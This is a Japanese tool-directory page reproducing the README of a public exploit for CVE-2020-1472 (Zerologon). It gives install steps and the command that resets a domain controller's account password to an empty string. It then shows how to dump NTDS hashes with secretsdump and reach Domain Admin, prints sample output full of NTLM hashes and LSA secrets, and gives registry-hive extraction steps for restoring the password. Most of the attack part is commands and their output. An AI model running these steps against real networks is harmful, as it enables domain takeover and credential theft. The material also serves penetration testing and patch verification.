Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-1472 — CVE-2020-1472(別名 Zerologon)のエクスプロイトコード | Kitploit
ツール/GitHubGitHub/voidsec/cve-2020-1472
パスワード攻撃脆弱性分析エクスプロイトペネトレーションテスト
GitHubvoidsec/cve-2020-1472

CVE-2020-1472

CVE-2020-1472(別名 Zerologon)のエクスプロイトコード

リポジトリを見るウェブサイト
396635年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-1472

CVE-2020-1472 に対する検査およびエクスプロイトコード、通称 Zerologon

ドメインコントローラが Zerologon 攻撃に対して脆弱かどうかをテストします。脆弱な場合、ドメインコントローラのアカウントパスワードを空文字列にリセットします。

注意: この操作は本番環境で問題を引き起こす可能性が高いです(例:DNS 機能、レプリケーションドメインコントローラとの通信など)。その結果、対象クライアントはドメインに対して認証できなくなり、手動操作でのみ再同期が可能になります。Zerologon 攻撃がどのように問題を引き起こすかについて詳しく知りたい場合は、@_dirkjan の素晴らしい研究を こちら でご覧ください。

Zerologon のオリジナル研究とホワイトペーパー(Secura 社、Tom Tervoort) - https://www.secura.com/blog/zero-logon

asciicast

エクスプロイト

Netlogon 認証バイパスを試行します。ドメインコントローラにパッチが適用されている場合、検出スクリプトは 2000 ペアの RPC 呼び出しを送信した後に脆弱ではないと結論付けます(偽陰性率 0.04%)。

エクスプロイトが成功するのは、ドメインコントローラがローカルに保存されているパスワードではなく、Active Directory に保存されているパスワードを使用してログイン試行を検証する場合のみです。この方法でパスワードを変更すると、AD 内でのみ変更され、対象システム自体は元のパスワードをローカルに保持し続けます。

インストール

Python 3.7 以降、virtualenv、pip、および 修正版 Impacket ライブラリ nrpc.py (/impacket/dcerpc/v5) 代わりに GitHub から入手可能な、netlogon 構造が追加された最新版の Impacket が必要です。

1. Impacket を次のようにインストールします。

  1. git clone https://github.com/SecureAuthCorp/impacket
  2. cd impacket
  3. root@kitploit:~
    pwd 
    ~/impacket/
    
  4. virtualenv --python=python3 impacket
  5. source impacket/bin/activate
  6. pip install --upgrade pip
  7. pip install .

2. Zerologon エクスプロイトスクリプトを次のようにインストールします。

  1. root@kitploit:~
    ~/impacket/
    
  2. cd examples
  3. git clone https://github.com/VoidSec/CVE-2020-1472
  4. cd CVE-2020-1472
  5. pip install -r requirements.txt

スクリプトの実行

このスクリプトは DC またはバックアップ DC を対象に使用できます。読み取り専用 DC でも動作する可能性がありますが、まだテストされていません。 DC 名は NetBIOS コンピュータ名である必要があります。この名前が正しくない場合、スクリプトは STATUS_INVALID_COMPUTER_NAME エラーで失敗する可能性があります。 EXAMPLE-DC というドメインコントローラ名と IP アドレス 1.2.3.4 の場合、次のようにスクリプトを実行します。

  • ./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4

スクリプトを実行すると、ドメインコントローラのアカウントパスワードが空文字列にリセットされます。

この時点で、Impacket の secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR を実行できるはずです(代わりに空のハッシュ -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 を使用することもできます)。これにより、NTDS.DIT データ(NTLM ハッシュと Kerberos キー)のみが抽出されます。

これで Domain Admin を取得できるはずです。WIN WIN WIN

実行例

root@kitploit:~
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM 
 0000   55 A7 DF DF 27 E2 64 C1  F7 42 F2 1B 96 76 01 4F   U...'.d..B...v.O
 0010   24 4C 5D 9B 20 E3 EA 95  DD E9 61 0F 00 8E B2 51   $L]. .....a....Q
 0020   B1 79 3F E0 37 3E CB B2  95 31 A6 74 F3 35 54 8A   .y?.7>...1.t.5T.
 0030   C1 B6 70 3D B3 AB AC C1  7E 8E 90 7A 7B 49 32 46   ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up... 

> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020

パスワードの復元

DC が正常に動作し続けるためには、元のパスワードハッシュを再インストールする必要があります。

Domain Admin を取得したら、wmiexec.py を使用して、secretsdump で取得した資格情報で対象 DC に接続し、以下の手順を実行します。

root@kitploit:~
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

次に、以下を実行します: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

これにより、マシンアカウントの元の NT ハッシュが表示されます。その後、こちら で提供されている reinstall_original_pw.py スクリプトを使用して、元のマシンアカウントハッシュをドメインに再インストールできます。成功するまでに複数回実行が必要な場合があります。

root@kitploit:~
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

または、以下の復元手順を使用することもできます。

ツールをダウンロード